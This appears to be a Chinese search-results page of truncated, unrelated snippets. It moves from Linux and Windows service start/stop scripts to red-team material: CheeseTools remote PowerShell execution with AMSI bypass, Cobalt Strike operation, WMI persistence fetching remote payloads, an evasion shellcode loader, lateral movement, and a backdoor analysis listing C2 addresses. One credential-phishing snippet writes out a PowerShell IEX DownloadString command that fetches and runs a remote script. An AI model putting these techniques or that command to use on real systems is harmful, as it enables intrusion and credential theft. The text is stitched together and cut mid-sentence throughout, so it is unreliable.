有时,linux系统需要做HA或者类似的功能,需要配置weblogic脚本来启动,停止,查看状态,可以如下方式写 命令形式:Weblogic server start|stop|restart|status...7001" DOMAIN_PATH=/Oracle/Middleware/user_projects/domains/${DOMAIN_NAME} #使用这个命令得到weblogic对应服务进程的进程号..." exit 0 fi #如果是停止命令,这里不使用这个 if [ "$1" = "stop" ] then echo..."" else #启动命令 printf "Starting $SERVER_NAME " if echo $SERVER_NAME|grep -q dmin ;
每次开机后去依次关闭服务,或者设置手动开启模式,每次工作使用时依次去开启服务,都是一件很麻烦的事情。因此,我讲这些相关服务进行打包,打包为一个服务组的概念,并通过程序来实现服务的启动和停止。...注:INI文件格式: [Section1] key1=value1 key2=value2 程序启动,主窗体加载,获取配置节,即服务组。...,参考链接:http://www.cnblogs.com/mahongbiao/p/3751153.html 服务的启动和停止,需要引入System.ServiceProcess程序集。..." + value); 35 } 36 // 37 } 38 // 39 MessageBox.Show("服务启动完成"); 停止服务组 1 if (string.IsNullOrEmpty..." + value); 34 } 35 // 36 37 } 38 // 39 MessageBox.Show("服务停止完成"); 40 }
由于使用源码编译安装Nginx,不会像yum install那样自动生成Nginx服务控制脚本,所以需要自己添加一个操作脚本。谷歌上搜了一下,shell脚本的代码基本类似,因此自己稍微整理改动了下。...最后,我们可以使用如下命令对Nginx服务进行操作: ######启动Nginx服务 [root@typecodes ~]# service nginx start ######停止Nginx服务 [root...服务的状态 [root@typecodes ~]# service nginx status ######在Nginx服务启动的状态下,重新加载nginx.conf这个配置文件 [root@typecodes...~]# service nginx reload update 2017.03.22 17:22 看到很多网站引用了本篇文章,由于这一年多的时间相关启动脚本和配置文件可能存在一些优化更新。...当时在写这篇文章的时候也忘了说明这些关于Nginx和MySQL以及PHP7的启动脚本和配置文件的维护都托管在GitHub上了,所以请大家参考GitHub上最新的项目代码,地址如下:https://github.com
##查看服务在每个级别的运行状态 chkconfig --list httpd 0:关闭 1:关闭 2:关闭 3:关闭 4:关闭 5:启用 6:关闭 bluetooth 0:关闭 1:关闭 2:关闭 3...:关闭 4:关闭 5:关闭 6:关闭 #停止 HTTPD服务 [root@zhangxx etc]# service httpd stop 停止 httpd:[ 确定 ] #启动httpd服务 [root...@zhangxx etc]# service httpd start 启动 httpd:[ 确定 ] #重起HTTD服务 [root@zhangxx etc]# service httpd restart...停止 httpd:[ 确定 ] 启动 httpd:[ 确定 ] 查看httpd服务的运行状态 service httpd status #让httpd 在机器启动的时候在运行级别上停止 [root@zhangxx...root@zhangxx etc]# chkconfig --list |grep httpd httpd 0:关闭 1:关闭 2:关闭 3:关闭 4:关闭 5:关闭 6:关闭 #让httpd 在机器启动的时候在运行级别上启动
比如现在想对Window服务,即对service进行操作(停止或是启动服务等其它操作),可以通过以下命令来查找与操作service有关的命令。 ...例如,在 Windows 系统上可以使用 net start 和 net stop 命令来启动和停止服务。...但是不能使用 net start 命令来启动远程计算机上的服务。sc 命令可以启动远程计算机上的服务,但是,若要操作远程计算机上的服务,必须在其名称前添加双反斜杠作为前缀。...例如,若要在名为 PC01 的远程计算机上启动后台打印程序服务,您可以键入 sc \\PC01 start spooler。...尽管服务与进程之间有很大的技术差别,但它们都是计算机上具有定义完整的生命周期的可管理元素示例。可能需要启动或停止服务或进程,或获得所有当前正在运行的服务或进程的列表。
,该工具基于rasta-mouse CsExec,但旨在允许对服务创建进行额外控制,特别是: 创建(搜索服务是否存在,如果不存在,则尝试创建它) Start(搜索服务是否存在并已停止,如果是,则尝试启动它...;如果没有,尝试创建并启动它) 停止(搜索服务是否存在并正在运行,如果存在,则尝试停止服务) 删除(搜索服务是否存在并且正在运行,如果存在,则尝试停止服务而不是删除服务,否则删除服务) CheeseExec.exe...通过PowerShell加载和运行任意代码。该工具本身能够绕过在本地或远程目标上创建和使用PowerShell运行空间的常见限制。...必须在特权用户的上下文中运行(如果使用PowerShell远程处理)。...PowerShell脚本 执行前导入模块和脚本 针对本地目标:通过文件系统、smb或http[s]导入模块 针对远程目标:使用WS-Management从本地机器直接加载模块 下载二进制文件并执行 标准
Jboss运行环境:Linux+Jdk+Jboss+jsp系统 Jboss软件说明:类似于Tomcat,就是一个跑Jsp系统的环境,他的站点路径跟Tomcat类似,Tomcat存放站点文件到webapps...Jboss脚本 执行指令vi /etc/rc.d/init.d/jboss生成脚本文件,内容如下 #!..." $JBOSS_HOME/bin/shutdown.sh fi ;; *) echo $"Usage: $0 {start|stop}" exit 1 ;; esac exit $RETVAL 自动启动脚本授权...运行chmod 755 /etc/rc.d/init.d/jboss命令,使得脚本文件可执行 注册jboss服务 运行chkconfig --add /etc/rc.d/init.d/jboss命令,...将其加到服务中 启动Jboss 运行sh /data/app/jboss-4.2.3.GA/bin/run.sh命令 停止Jboss服务: service jboss stop 启动Jboss服务: service
然而,各种框架,如 Metasploit、Empire、PoshC2、PowerSploit 和多个 PowerShell 脚本和 C# 工具可用于自动化此技术,为代码执行提供不同的触发器和各种选项。...然而,该脚本需要将Invoke-MetasploitPayload加载到内存中,并且负载将从远程位置下载。...WMI-Persistence是另一个 PowerShell 脚本,它可以创建事件过滤器,在每次重新启动后 5 分钟内从远程位置执行基于 PowerShell 的有效负载。...Rahmat Nurfauzi开发了一个 PowerShell 脚本 ( WMI-Persistence ),它默认使用regsvr32方法执行任意命令,以便从远程服务器运行任意脚本。 ....默认情况下,此选项会将两个连接返回到命令和控制服务器。 “ wmi_updater ” 模块能够从远程位置获取有效负载,而不是将其存储在 WMI 存储库中。
执行策略 控制脚本的运行权限。 远程管理 通过PowerShell Remoting对远程计算机执行命令。 1.什么是Cmdlet?...管理系统: Start-Service:启动服务。 Stop-Process:终止进程。...创建自定义Cmdlet 除了内置的Cmdlet,PowerShell还允许用户创建自定义Cmdlet,通常使用C#或PowerShell脚本编写。这使得功能扩展更为灵活。...以下是一些关键概念和方法: 错误类型 终止错误:会停止脚本的执行。 非终止错误:不会停止脚本,允许继续执行。 错误处理方法 Try-Catch-Finally Try:包含可能引发错误的代码块。...在更改执行策略时,应考虑到脚本来源的安全性。 8.远程管理 PowerShell远程管理是通过网络执行命令和脚本的功能,通常用于管理远程计算机。
agscript:扩展应用的脚本 c2lint:该文件主要检查profile的错误和异常 teamserver:服务端启动程序 cobaltstrike.jar:CobaltStrike...2.cd切换到下载好的CobaltStrike工具文件夹目录,启动运行服务端。 ./teamserver ip 密码 nohub ....3.Payload Generator:生成各种编程语言的payload(包含C、C#、COM Scriptlet、Java、Perl、Powershell、Python、Ruby、VBA) 4.Windows...并且支持Powershell脚本,用于将Stageless Payload注入内存。 复制 4.远控进行vnc,文件管理,进程查看等一系列操作。...执行命令 powershell 通过powershell.exe执行命令 powershell-import 导入powershell脚本
0x01 前言 这篇文章为@我不是格林师傅投稿,这个项目是他写的一个免杀工具,集成了C/C++ 、C# 、Nim 、PowerShell等多种语言的免杀加载器。...win2008以上的windows版本同时运行) 0x03 环境配置 运行环境:windows10 1....\Gllloader.py 该工具shellcode加载模块目前有7种加载方式,C/C++五种,PowerShell和C#各一种,并且采用分离的方式进行加载。 1....0x05 效果图 C/C++ Csharp 用CobaltStrike/MSF生成一个StagerLess的PowerShell脚本,用Base64加密解密一下脚本,或者用Obfuscation...去混淆一下,将powershell脚本作分离处理 将分离过的网址填入即可。
工程师溯源发现,黑客通过弱口令等方式入侵服务器后,然后通过SQL Server等服务启动cmd.exe来执行powershell脚本,最终下载运行上述后门病毒程序。...相关入侵流程如下图所示: 入侵流程图 黑客成功入侵服务器后,利用SQL Server等服务启动cmd.exe来下载执行powershell脚本z。...相关代码如下图所示: 脚本z相关代码 ps1.bmp是混淆后的powershell脚本,当它执行后会下载ps2.bmp到内存并将其解密执行。ps2.bmp实则就是加密后的后门模块。...相关代码如下图所示: 脚本ps1.bmp相关代码 解密完成后的ps2.bmp为C#编写的后门模块。...当它运行后会随机与C&C服务器(23.228.109.230、www.hyn0hbhhz8.cf、www.ebv5hbhha8.cf、104.149.131.245)进行通信,获取并执行后门指令。
该工具主要使用了rasta-mouse CsExec,但是可以允许广大研究人员针对特定的服务或场景创建额外的控制策略: 搜索目标服务是否存在,如果不存在则尝试创建它; 搜索目标服务是否存在或是否终止运行...,如果停止运行则尝试启动它,如果不存在则尝试创建并启动它; 搜索目标服务是否存在或是否正在运行,如果是则尝试终止其运行; 搜索目标服务是否存在或是否正在运行,如果是则尝试终止其运行并删除该服务; 命令使用样例...并通过PowerShell来加载和运行任意代码。..., --help Show Help 工具优势 跟原生PowerShell相比,该工具有下列显著优势: 更干净、更直观的命令行; 自动化绕过(CLM、AMSI、WLDP); 避免从远程目标执行出站连接...该组件基于RdpThief实现,但使用了纯C#进行封装,因此可以通过.NET环境运行: Usage: CheeseRDP [actions] Actions: wait: keep
渗透测试人员和红队通过通过执行powershell.exe在远程主机上面运行经过base64编码的命令来完成横向移动,然后返回到目标的会话。...的脚本,该脚本对内存中运行的嵌入式的payloads 进行一个base64的编码,并将其压缩为单行代码,连接到ADMIN或者是C share并且运行Powershell命令。...这对于攻击者特别有用,因为可以通过SMB安排任务,因此启动远程服务的语法为: sc \\host.domain create ExampleService binpath= “c:\windows\system32...通过使用端口135上的远程过程调用(RPC)进行通信以进行远程访问(以及以后的临时端口),它允许系统管理员远程执行自动管理任务,例如远程启动服务或执行命令。它可以通过wmic.exe直接进行交互。...虽然打开PowerShell并不奇怪,并且启动WinRM侦听器可能会在雷达下飞来飞去,但执行有效负载时会出现嘈杂的部分,因为运行Cobalt Strike内置的WinRM模块时会有一个指示器。
,这些文件将读取凭据并将它们写入文本文件和powershell中以调用http请求,powershell命令可以直接从bat文件中执行: Step 1:搭建一个web服务用于托管powershell:...Step 2:修改脚本中的URL地址 Step 3:上传run.bat文件到目标服务器并执行 run.bat 之后再目标主机上加载安全认证框: 该工具对凭据执行验证,只有当提供的凭据正确时,弹出窗口才会消失...,该脚本将生成一个输入提示,能够检查凭据是否有效,否则提示不会关闭,该脚本可以从远程位置执行,凭据将显示在控制台中。...: 或者也可以从远程位置执行该脚本以逃避检测 powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http...,以便启动 成功获取认证的凭证 BASH lockphish是另一种工具,能够针对windows登录屏幕实施网络钓鱼攻击,相关的模板将托管在一个php服务器上,默认情况下使用youtube,以便在用户提交凭据后重定向用户
渗透测试人员和红队人员通常通过执行 powershell.exe 在远程主机上运行 base64 编码命令来完成此操作,这将返回一个信标。...它首先通过 SMB 连接到目标上的 ADMIN$ 共享,上传 PSEXESVC.exe 并使用服务控制管理器启动在远程系统上创建命名管道的 .exe,最后使用该管道进行 I/O。...它首先创建一个 PowerShell 脚本,该脚本将对嵌入式有效负载进行 base64 编码,该有效负载从内存运行并压缩为单线,连接到 ADMIN$ 或 C$ 共享并运行 PowerShell 命令,如下所示...通过在端口 135 上使用远程过程调用 (RPC) 进行远程访问(以及稍后的临时端口)进行通信,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。...MSBuild 用于通过提供架构的 XML 文件编译/构建 C# 应用程序。从攻击者的角度来看,这用于编译 C# 代码以生成恶意二进制文件或有效负载,甚至直接从 XML 文件运行有效负载。
脚本 本地加载并执行PowerShell脚本 远程下载并执行PowerShell脚本 Windows中的批处理文件 Windows中快捷键操作 Windows中运行窗口的命令 Windows中的注册表...中加载并执行PowerShell脚本 Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。...\powerview.ps1;Get-NetDomain 远程下载并执行PowerShell脚本 远程下载并执行test.ps1脚本、远程下载PowerView.ps1脚本,并执行其中的Get-Netdomain...,该进程的正常运行能够确保在桌面上显示桌面图标和任务栏 lsass.exe:该进行用于windows操作系统的安全机制、本地安全和登录策略 services.exe:该进程用于启动和停止系统中的服务,如果用户手动终止该进程...,系统也会重新启动该进程 smss.exe:该进程用于调用对话管理子系统,负责用户与操作系统的对话 svchost.exe:该进行是从动态链接库(DLL)中运行的服务的通用主机进程名称,如果用户手动终止该进程
破坏Windows日志记录功能 通过调用TerminateThread结束实现日志功能的线程,使得日志记录功能失效,但Windows Event Log服务没有被破坏,状态仍为正在运行 Powershell...Windows系统服务对应可执行文件的路径,如果路径包含普通用户的写权限,那么该服务可被用来提升权限 powershell代码: $ErrorActionPreference="SilentlyContinue...系统支持Logon Scripts,Logon Scripts是在系统启动时执行,执行顺序要优先于杀毒软件,当然,杀毒软件无法拦截Logon Scripts中脚本的操作(杀毒软件尚未启动) 关键在于杀毒软件会不会拦截...kali使用3389远程连接: rdesktop 192.168.1.1:3389 Windows: mstsc.exe 非服务器版本的Windows系统,默认只允许一个账户登录 具体表现为: 远程登录时...powershell脚本实现: https://github.com/3gstudent/Writeup/blob/master/GetIdleTime.ps1 ---- Tips 58 判断当前系统的屏保启动时间
最开始Jenkins是放在 Ubuntu 的 Docker 中,但是由于Powershell执行的原因,就把Jenkins搬到了windows上。...因为我们网站的部署需要停掉IIS站点,所以需要Powershell来远程操作服务器(上传文件,停止站点,启动站点),也很顺利的利用WinRM+Powershell脚本实现了上面的功能,但是最后在实际使用中发现...,脚本停止站点偶尔会有是假状态,进行Copy文件还总是会因为占用而失败,所以还是只能手动去停止站点,这样就没有达到一键化的目的,所以就有了用Docker来镜像。...当容器启动完成之后,我们可以用命令 docker exec -it containerid /bin/bash 进入容器中,执行docker ps的命令试试是否能执行成功。...这里就是在构建我们的Image了 然后接下来就是推送当前构建的Image到远程仓库,再在构建后去执行远程连接到需要发布的服务器根据版本号获取到需要部署的镜像进行run就行,因为我当前都在测试环境 所以就直接在本地执行镜像的
web 服务器,该程序会将结果发送至远程服务器,然后远程服务器将收到的结果保存在文本文件中,可以将 Powershell 的命令放在 bat 文件中执行,下载地址: https://github.com...脚本也可以通过远程调用: powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.0.0.13...自定义脚本 首先使用 metasploit 中的 http_basic 模块设置一个需要基本身份验证的 HTTP 服务器: use auxiliary/server/capture/http_basic...set URIPATH / 使用下面的 powershell 代码创建输入提示符窗口,并将凭据通过 HTTP 请求发送至远程 Metasploit 服务器,从而获取凭证: 为了方便操作,需要将以上代码转为...通配符 * 指示模块监视系统上运行的所有进程,只要有新的进程启动,就会弹出输入提示框: ?
领取专属 10元无门槛券
手把手带您无忧上云